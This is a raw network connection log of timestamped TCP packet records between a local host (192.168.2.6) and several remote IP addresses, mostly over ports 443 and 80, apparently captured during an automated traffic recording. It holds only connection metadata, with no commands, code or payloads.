Nov 23, 2024 05:02:42.613590002 CET	443	49800	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:42.613614082 CET	443	49800	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:42.617536068 CET	49801	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:42.617547035 CET	443	49801	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:42.617558002 CET	49801	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:42.617563009 CET	443	49801	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:42.622462034 CET	49797	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:42.622478962 CET	443	49797	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:42.622492075 CET	49797	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:42.622497082 CET	443	49797	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:42.632949114 CET	49807	443	192.168.2.6	94.245.104.56
Nov 23, 2024 05:02:42.693787098 CET	49813	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:42.693823099 CET	443	49813	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:42.693892956 CET	49813	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:42.705718040 CET	49813	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:42.705751896 CET	443	49813	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:42.714641094 CET	49814	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:42.714668989 CET	443	49814	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:42.714740992 CET	49814	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:42.714956045 CET	49814	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:42.714971066 CET	443	49814	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:42.716752052 CET	49815	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:42.716780901 CET	443	49815	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:42.716846943 CET	49815	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:42.717010021 CET	49815	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:42.717032909 CET	443	49815	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:42.720702887 CET	49817	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:42.720736980 CET	443	49817	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:42.720788956 CET	49817	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:42.725770950 CET	49817	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:42.725780964 CET	443	49817	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:42.738137007 CET	49779	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:42.738430977 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:42.852047920 CET	49820	443	192.168.2.6	142.250.181.65
Nov 23, 2024 05:02:42.852113008 CET	443	49820	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:42.852364063 CET	49820	443	192.168.2.6	142.250.181.65
Nov 23, 2024 05:02:42.852364063 CET	49820	443	192.168.2.6	142.250.181.65
Nov 23, 2024 05:02:42.852401018 CET	443	49820	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:42.857579947 CET	80	49779	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:42.857848883 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:42.857913017 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:42.860027075 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:42.860095978 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:42.949392080 CET	443	49806	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:42.949553013 CET	443	49806	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:42.949630022 CET	49806	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:42.951853991 CET	49806	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:42.951854944 CET	49806	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:42.951901913 CET	443	49806	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:42.951931000 CET	443	49806	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:42.955430984 CET	49821	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:42.955471992 CET	443	49821	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:42.955632925 CET	49821	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:42.956036091 CET	49821	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:42.956052065 CET	443	49821	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:42.979513884 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:42.979561090 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:42.979624987 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:42.979650974 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:42.984049082 CET	443	49807	94.245.104.56	192.168.2.6
Nov 23, 2024 05:02:42.984158993 CET	443	49807	94.245.104.56	192.168.2.6
Nov 23, 2024 05:02:42.984229088 CET	49807	443	192.168.2.6	94.245.104.56
Nov 23, 2024 05:02:42.987160921 CET	49807	443	192.168.2.6	94.245.104.56
Nov 23, 2024 05:02:42.987174988 CET	443	49807	94.245.104.56	192.168.2.6
Nov 23, 2024 05:02:43.090125084 CET	49710	443	192.168.2.6	20.190.181.23
Nov 23, 2024 05:02:43.090188980 CET	49710	443	192.168.2.6	20.190.181.23
Nov 23, 2024 05:02:43.209670067 CET	443	49710	20.190.181.23	192.168.2.6
Nov 23, 2024 05:02:43.209682941 CET	443	49710	20.190.181.23	192.168.2.6
Nov 23, 2024 05:02:43.209727049 CET	443	49710	20.190.181.23	192.168.2.6
Nov 23, 2024 05:02:43.209741116 CET	443	49710	20.190.181.23	192.168.2.6
Nov 23, 2024 05:02:43.209809065 CET	443	49710	20.190.181.23	192.168.2.6
Nov 23, 2024 05:02:44.039959908 CET	49820	443	192.168.2.6	142.250.181.65
Nov 23, 2024 05:02:44.040971994 CET	49828	443	192.168.2.6	142.250.181.65
Nov 23, 2024 05:02:44.040994883 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:44.041202068 CET	49828	443	192.168.2.6	142.250.181.65
Nov 23, 2024 05:02:44.045231104 CET	49828	443	192.168.2.6	142.250.181.65
Nov 23, 2024 05:02:44.045254946 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:44.087332964 CET	443	49820	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:44.223417044 CET	443	49710	20.190.181.23	192.168.2.6
Nov 23, 2024 05:02:44.223562002 CET	443	49710	20.190.181.23	192.168.2.6
Nov 23, 2024 05:02:44.223659992 CET	49710	443	192.168.2.6	20.190.181.23
Nov 23, 2024 05:02:44.227626085 CET	443	49710	20.190.181.23	192.168.2.6
Nov 23, 2024 05:02:44.227720976 CET	443	49710	20.190.181.23	192.168.2.6
Nov 23, 2024 05:02:44.227777958 CET	49710	443	192.168.2.6	20.190.181.23
Nov 23, 2024 05:02:44.330163002 CET	443	49710	20.190.181.23	192.168.2.6
Nov 23, 2024 05:02:44.330279112 CET	443	49710	20.190.181.23	192.168.2.6
Nov 23, 2024 05:02:44.330318928 CET	49710	443	192.168.2.6	20.190.181.23
Nov 23, 2024 05:02:44.334374905 CET	443	49710	20.190.181.23	192.168.2.6
Nov 23, 2024 05:02:44.334508896 CET	443	49710	20.190.181.23	192.168.2.6
Nov 23, 2024 05:02:44.334561110 CET	49710	443	192.168.2.6	20.190.181.23
Nov 23, 2024 05:02:44.342796087 CET	443	49710	20.190.181.23	192.168.2.6
Nov 23, 2024 05:02:44.342859983 CET	443	49710	20.190.181.23	192.168.2.6
Nov 23, 2024 05:02:44.342904091 CET	49710	443	192.168.2.6	20.190.181.23
Nov 23, 2024 05:02:44.403800011 CET	49836	443	192.168.2.6	172.64.41.3
Nov 23, 2024 05:02:44.403848886 CET	443	49836	172.64.41.3	192.168.2.6
Nov 23, 2024 05:02:44.403937101 CET	49836	443	192.168.2.6	172.64.41.3
Nov 23, 2024 05:02:44.404206038 CET	49836	443	192.168.2.6	172.64.41.3
Nov 23, 2024 05:02:44.404225111 CET	443	49836	172.64.41.3	192.168.2.6
Nov 23, 2024 05:02:44.406677008 CET	49837	443	192.168.2.6	172.64.41.3
Nov 23, 2024 05:02:44.406733990 CET	443	49837	172.64.41.3	192.168.2.6
Nov 23, 2024 05:02:44.407001019 CET	49837	443	192.168.2.6	172.64.41.3
Nov 23, 2024 05:02:44.407299042 CET	49837	443	192.168.2.6	172.64.41.3
Nov 23, 2024 05:02:44.407341957 CET	443	49837	172.64.41.3	192.168.2.6
Nov 23, 2024 05:02:44.411343098 CET	49838	443	192.168.2.6	162.159.61.3
Nov 23, 2024 05:02:44.411427975 CET	443	49838	162.159.61.3	192.168.2.6
Nov 23, 2024 05:02:44.411521912 CET	49838	443	192.168.2.6	162.159.61.3
Nov 23, 2024 05:02:44.412190914 CET	49838	443	192.168.2.6	162.159.61.3
Nov 23, 2024 05:02:44.412234068 CET	443	49838	162.159.61.3	192.168.2.6
Nov 23, 2024 05:02:44.449321985 CET	443	49814	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:44.450356960 CET	49814	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:44.450395107 CET	443	49814	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:44.451069117 CET	49814	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:44.451076031 CET	443	49814	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:44.453258038 CET	443	49817	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:44.453666925 CET	49817	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:44.453722000 CET	443	49817	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:44.454308033 CET	49817	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:44.454327106 CET	443	49817	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:44.502760887 CET	443	49813	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:44.515918016 CET	49813	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:44.515996933 CET	443	49813	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:44.516563892 CET	49813	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:44.516587973 CET	443	49813	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:44.578274965 CET	443	49815	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:44.581051111 CET	49815	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:44.581094980 CET	443	49815	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:44.581691980 CET	49815	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:44.581698895 CET	443	49815	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:44.693823099 CET	443	49821	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:44.694525957 CET	49821	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:44.694561958 CET	443	49821	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:44.695122957 CET	49821	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:44.695130110 CET	443	49821	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:44.755321026 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:44.755484104 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:44.802201986 CET	443	49820	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:44.802350044 CET	49820	443	192.168.2.6	142.250.181.65
Nov 23, 2024 05:02:44.885344982 CET	443	49814	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:44.885406017 CET	443	49814	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:44.885468960 CET	49814	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:44.887348890 CET	443	49817	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:44.887409925 CET	443	49817	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:44.887479067 CET	49817	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:44.962341070 CET	443	49813	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:44.962399006 CET	443	49813	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:44.962487936 CET	49813	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:45.030944109 CET	443	49815	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:45.031008959 CET	443	49815	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:45.032721043 CET	49815	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:45.130057096 CET	443	49821	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:45.130142927 CET	443	49821	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:45.130218983 CET	49821	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:45.137144089 CET	49814	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:45.137182951 CET	443	49814	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:45.138123989 CET	49815	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:45.138156891 CET	49821	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:45.138161898 CET	443	49815	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:45.138186932 CET	443	49821	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:45.138201952 CET	49815	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:45.138217926 CET	443	49815	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:45.138225079 CET	49821	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:45.138235092 CET	443	49821	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:45.139266014 CET	49817	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:45.139283895 CET	443	49817	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:45.139296055 CET	49817	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:45.139301062 CET	443	49817	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:45.150907040 CET	49813	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:45.150922060 CET	443	49813	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:45.150949955 CET	49813	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:45.150960922 CET	443	49813	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:45.184012890 CET	49842	443	192.168.2.6	172.64.41.3
Nov 23, 2024 05:02:45.184087038 CET	443	49842	172.64.41.3	192.168.2.6
Nov 23, 2024 05:02:45.184350967 CET	49842	443	192.168.2.6	172.64.41.3
Nov 23, 2024 05:02:45.184582949 CET	49842	443	192.168.2.6	172.64.41.3
Nov 23, 2024 05:02:45.184600115 CET	443	49842	172.64.41.3	192.168.2.6
Nov 23, 2024 05:02:45.200648069 CET	49843	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:45.200695992 CET	443	49843	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:45.200778008 CET	49843	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:45.202173948 CET	49844	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:45.202219963 CET	443	49844	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:45.202303886 CET	49844	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:45.203138113 CET	49843	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:45.203152895 CET	443	49843	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:45.203507900 CET	49845	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:45.203552008 CET	443	49845	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:45.203614950 CET	49844	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:45.203634024 CET	443	49844	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:45.203736067 CET	49845	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:45.203938961 CET	49845	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:45.203953028 CET	443	49845	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:45.204245090 CET	49846	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:45.204268932 CET	443	49846	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:45.204459906 CET	49846	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:45.204459906 CET	49846	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:45.204487085 CET	443	49846	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:45.206285954 CET	49847	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:45.206301928 CET	443	49847	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:45.206403017 CET	49847	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:45.207207918 CET	49847	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:45.207221985 CET	443	49847	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:45.246901989 CET	49848	443	192.168.2.6	162.159.61.3
Nov 23, 2024 05:02:45.246947050 CET	443	49848	162.159.61.3	192.168.2.6
Nov 23, 2024 05:02:45.247102976 CET	49848	443	192.168.2.6	162.159.61.3
Nov 23, 2024 05:02:45.247277021 CET	49848	443	192.168.2.6	162.159.61.3
Nov 23, 2024 05:02:45.247289896 CET	443	49848	162.159.61.3	192.168.2.6
Nov 23, 2024 05:02:45.248560905 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:45.277379036 CET	49849	443	192.168.2.6	172.64.41.3
Nov 23, 2024 05:02:45.277415037 CET	443	49849	172.64.41.3	192.168.2.6
Nov 23, 2024 05:02:45.277570009 CET	49849	443	192.168.2.6	172.64.41.3
Nov 23, 2024 05:02:45.277985096 CET	49849	443	192.168.2.6	172.64.41.3
Nov 23, 2024 05:02:45.278001070 CET	443	49849	172.64.41.3	192.168.2.6
Nov 23, 2024 05:02:45.368004084 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:45.621594906 CET	443	49837	172.64.41.3	192.168.2.6
Nov 23, 2024 05:02:45.624075890 CET	49837	443	192.168.2.6	172.64.41.3
Nov 23, 2024 05:02:45.624105930 CET	443	49837	172.64.41.3	192.168.2.6
Nov 23, 2024 05:02:45.625519991 CET	443	49837	172.64.41.3	192.168.2.6
Nov 23, 2024 05:02:45.625590086 CET	49837	443	192.168.2.6	172.64.41.3
Nov 23, 2024 05:02:45.626720905 CET	49837	443	192.168.2.6	172.64.41.3
Nov 23, 2024 05:02:45.626785040 CET	443	49837	172.64.41.3	192.168.2.6
Nov 23, 2024 05:02:45.627068043 CET	49837	443	192.168.2.6	172.64.41.3
Nov 23, 2024 05:02:45.627074957 CET	443	49837	172.64.41.3	192.168.2.6
Nov 23, 2024 05:02:45.659028053 CET	443	49836	172.64.41.3	192.168.2.6
Nov 23, 2024 05:02:45.659250975 CET	49836	443	192.168.2.6	172.64.41.3
Nov 23, 2024 05:02:45.659282923 CET	443	49836	172.64.41.3	192.168.2.6
Nov 23, 2024 05:02:45.660228014 CET	443	49836	172.64.41.3	192.168.2.6
Nov 23, 2024 05:02:45.660290956 CET	49836	443	192.168.2.6	172.64.41.3
Nov 23, 2024 05:02:45.661154032 CET	49836	443	192.168.2.6	172.64.41.3
Nov 23, 2024 05:02:45.661197901 CET	443	49836	172.64.41.3	192.168.2.6
Nov 23, 2024 05:02:45.661303043 CET	49836	443	192.168.2.6	172.64.41.3
Nov 23, 2024 05:02:45.661310911 CET	443	49836	172.64.41.3	192.168.2.6
Nov 23, 2024 05:02:45.717412949 CET	443	49838	162.159.61.3	192.168.2.6
Nov 23, 2024 05:02:45.717674017 CET	49838	443	192.168.2.6	162.159.61.3
Nov 23, 2024 05:02:45.717681885 CET	443	49838	162.159.61.3	192.168.2.6
Nov 23, 2024 05:02:45.719047070 CET	443	49838	162.159.61.3	192.168.2.6
Nov 23, 2024 05:02:45.719139099 CET	49838	443	192.168.2.6	162.159.61.3
Nov 23, 2024 05:02:45.720287085 CET	49838	443	192.168.2.6	162.159.61.3
Nov 23, 2024 05:02:45.720428944 CET	443	49838	162.159.61.3	192.168.2.6
Nov 23, 2024 05:02:45.720535994 CET	49838	443	192.168.2.6	162.159.61.3
Nov 23, 2024 05:02:45.720541954 CET	443	49838	162.159.61.3	192.168.2.6
Nov 23, 2024 05:02:45.732004881 CET	49836	443	192.168.2.6	172.64.41.3
Nov 23, 2024 05:02:45.746036053 CET	49837	443	192.168.2.6	172.64.41.3
Nov 23, 2024 05:02:45.842605114 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:45.843008995 CET	49828	443	192.168.2.6	142.250.181.65
Nov 23, 2024 05:02:45.843077898 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:45.844698906 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:45.844743013 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:45.844796896 CET	49828	443	192.168.2.6	142.250.181.65
Nov 23, 2024 05:02:45.844836950 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:45.844871998 CET	49828	443	192.168.2.6	142.250.181.65
Nov 23, 2024 05:02:45.844894886 CET	49828	443	192.168.2.6	142.250.181.65
Nov 23, 2024 05:02:45.846128941 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:45.848567009 CET	49828	443	192.168.2.6	142.250.181.65
Nov 23, 2024 05:02:45.848808050 CET	49828	443	192.168.2.6	142.250.181.65
Nov 23, 2024 05:02:45.848814011 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:45.891350985 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:45.931338072 CET	443	49838	162.159.61.3	192.168.2.6
Nov 23, 2024 05:02:45.931413889 CET	49838	443	192.168.2.6	162.159.61.3
Nov 23, 2024 05:02:46.042593002 CET	49828	443	192.168.2.6	142.250.181.65
Nov 23, 2024 05:02:46.042607069 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:46.048763990 CET	443	49837	172.64.41.3	192.168.2.6
Nov 23, 2024 05:02:46.048852921 CET	443	49837	172.64.41.3	192.168.2.6
Nov 23, 2024 05:02:46.048929930 CET	49837	443	192.168.2.6	172.64.41.3
Nov 23, 2024 05:02:46.049091101 CET	49837	443	192.168.2.6	172.64.41.3
Nov 23, 2024 05:02:46.049120903 CET	443	49837	172.64.41.3	192.168.2.6
Nov 23, 2024 05:02:46.102262020 CET	443	49836	172.64.41.3	192.168.2.6
Nov 23, 2024 05:02:46.102428913 CET	443	49836	172.64.41.3	192.168.2.6
Nov 23, 2024 05:02:46.102490902 CET	49836	443	192.168.2.6	172.64.41.3
Nov 23, 2024 05:02:46.106901884 CET	49836	443	192.168.2.6	172.64.41.3
Nov 23, 2024 05:02:46.106919050 CET	443	49836	172.64.41.3	192.168.2.6
Nov 23, 2024 05:02:46.151268959 CET	49828	443	192.168.2.6	142.250.181.65
Nov 23, 2024 05:02:46.170892000 CET	443	49838	162.159.61.3	192.168.2.6
Nov 23, 2024 05:02:46.170979977 CET	443	49838	162.159.61.3	192.168.2.6
Nov 23, 2024 05:02:46.171045065 CET	49838	443	192.168.2.6	162.159.61.3
Nov 23, 2024 05:02:46.171226025 CET	49838	443	192.168.2.6	162.159.61.3
Nov 23, 2024 05:02:46.171257019 CET	443	49838	162.159.61.3	192.168.2.6
Nov 23, 2024 05:02:46.181092024 CET	49851	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:46.181118011 CET	443	49851	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:46.181179047 CET	49851	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:46.181411982 CET	49851	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:46.181422949 CET	443	49851	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:46.192689896 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:46.192784071 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:46.441149950 CET	443	49842	172.64.41.3	192.168.2.6
Nov 23, 2024 05:02:46.441497087 CET	49842	443	192.168.2.6	172.64.41.3
Nov 23, 2024 05:02:46.441504955 CET	443	49842	172.64.41.3	192.168.2.6
Nov 23, 2024 05:02:46.444622040 CET	443	49842	172.64.41.3	192.168.2.6
Nov 23, 2024 05:02:46.444693089 CET	49842	443	192.168.2.6	172.64.41.3
Nov 23, 2024 05:02:46.445074081 CET	49842	443	192.168.2.6	172.64.41.3
Nov 23, 2024 05:02:46.445149899 CET	443	49842	172.64.41.3	192.168.2.6
Nov 23, 2024 05:02:46.445405006 CET	49842	443	192.168.2.6	172.64.41.3
Nov 23, 2024 05:02:46.445413113 CET	443	49842	172.64.41.3	192.168.2.6
Nov 23, 2024 05:02:46.466095924 CET	49842	443	192.168.2.6	172.64.41.3
Nov 23, 2024 05:02:46.466183901 CET	443	49842	172.64.41.3	192.168.2.6
Nov 23, 2024 05:02:46.466315985 CET	49842	443	192.168.2.6	172.64.41.3
Nov 23, 2024 05:02:46.483920097 CET	443	49849	172.64.41.3	192.168.2.6
Nov 23, 2024 05:02:46.484195948 CET	49849	443	192.168.2.6	172.64.41.3
Nov 23, 2024 05:02:46.484209061 CET	443	49849	172.64.41.3	192.168.2.6
Nov 23, 2024 05:02:46.485083103 CET	443	49849	172.64.41.3	192.168.2.6
Nov 23, 2024 05:02:46.485163927 CET	49849	443	192.168.2.6	172.64.41.3
Nov 23, 2024 05:02:46.485502958 CET	49849	443	192.168.2.6	172.64.41.3
Nov 23, 2024 05:02:46.485558033 CET	443	49849	172.64.41.3	192.168.2.6
Nov 23, 2024 05:02:46.485893011 CET	49849	443	192.168.2.6	172.64.41.3
Nov 23, 2024 05:02:46.485899925 CET	443	49849	172.64.41.3	192.168.2.6
Nov 23, 2024 05:02:46.500024080 CET	443	49848	162.159.61.3	192.168.2.6
Nov 23, 2024 05:02:46.500319958 CET	49848	443	192.168.2.6	162.159.61.3
Nov 23, 2024 05:02:46.500334978 CET	443	49848	162.159.61.3	192.168.2.6
Nov 23, 2024 05:02:46.501365900 CET	443	49848	162.159.61.3	192.168.2.6
Nov 23, 2024 05:02:46.501445055 CET	49848	443	192.168.2.6	162.159.61.3
Nov 23, 2024 05:02:46.501840115 CET	49848	443	192.168.2.6	162.159.61.3
Nov 23, 2024 05:02:46.501900911 CET	443	49848	162.159.61.3	192.168.2.6
Nov 23, 2024 05:02:46.501960039 CET	49848	443	192.168.2.6	162.159.61.3
Nov 23, 2024 05:02:46.501966953 CET	443	49848	162.159.61.3	192.168.2.6
Nov 23, 2024 05:02:46.537373066 CET	49848	443	192.168.2.6	162.159.61.3
Nov 23, 2024 05:02:46.537427902 CET	443	49848	162.159.61.3	192.168.2.6
Nov 23, 2024 05:02:46.537489891 CET	49848	443	192.168.2.6	162.159.61.3
Nov 23, 2024 05:02:46.543260098 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:46.547230005 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:46.547286987 CET	49828	443	192.168.2.6	142.250.181.65
Nov 23, 2024 05:02:46.547297001 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:46.558868885 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:46.559005022 CET	49828	443	192.168.2.6	142.250.181.65
Nov 23, 2024 05:02:46.559022903 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:46.568512917 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:46.568600893 CET	49828	443	192.168.2.6	142.250.181.65
Nov 23, 2024 05:02:46.568614960 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:46.581662893 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:46.581723928 CET	49828	443	192.168.2.6	142.250.181.65
Nov 23, 2024 05:02:46.581737041 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:46.595252037 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:46.596879959 CET	49828	443	192.168.2.6	142.250.181.65
Nov 23, 2024 05:02:46.596899033 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:46.608613014 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:46.608694077 CET	49828	443	192.168.2.6	142.250.181.65
Nov 23, 2024 05:02:46.608706951 CET	443	49828	142.250.181.65	192.168.2.6
Nov 23, 2024 05:02:46.630976915 CET	49849	443	192.168.2.6	172.64.41.3
Nov 23, 2024 05:02:46.660196066 CET	49852	443	192.168.2.6	172.64.41.3
Nov 23, 2024 05:02:46.660295963 CET	443	49852	172.64.41.3	192.168.2.6
Nov 23, 2024 05:02:46.660372972 CET	49852	443	192.168.2.6	172.64.41.3
Nov 23, 2024 05:02:46.660720110 CET	49853	443	192.168.2.6	172.64.41.3
Nov 23, 2024 05:02:46.660758018 CET	443	49853	172.64.41.3	192.168.2.6
